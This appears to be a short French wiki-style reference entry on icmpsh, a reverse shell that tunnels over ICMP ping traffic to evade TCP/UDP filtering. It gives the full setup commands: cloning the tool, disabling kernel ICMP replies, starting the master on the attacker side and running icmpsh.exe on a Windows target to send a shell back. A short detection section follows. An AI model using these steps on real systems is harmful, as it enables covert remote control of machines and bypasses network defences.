ICMPSH
| Fiche express | |
|---|---|
| Type | Reverse shell / backdoor sur ICMP |
| Transport | Messages ICMP echo (ping) |
| Composants | icmpsh_m.py (maître), icmpsh.exe (esclave)
|
| Voir aussi | Netcat · Cryptcat |
icmpsh est un reverse shell qui encapsule ses échanges dans des messages ICMP (paquets echo request / echo reply, c'est-à-dire du trafic « ping »). Il permet de contourner des filtrages réseau qui n'inspectent que TCP/UDP, l'ICMP étant souvent laissé passer.
Le composant maître (icmpsh_m.py) s'exécute côté attaquant sous Linux ; l'esclave (icmpsh.exe) tourne sur la cible Windows et renvoie un shell à travers le canal ICMP.
Mise en œuvre
Récupération de l'outil :
git clone https://github.com/inquisb/icmpsh.git
Côté maître (attaquant), désactiver les réponses ICMP du noyau pour ne pas interférer avec le tunnel, puis lancer le maître (IP de l'attaquant puis IP de la cible) :
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.0.2.10 192.0.2.20
Côté cible Windows, lancer l'esclave en pointant vers l'IP du maître :
icmpsh.exe -t 192.0.2.10
Les adresses ci-dessus sont des exemples (plage de documentation RFC 5737).
Détection
- volume anormal de paquets ICMP echo, tailles de charge utile inhabituelles ;
- corrélation de flux ICMP soutenus vers une même destination.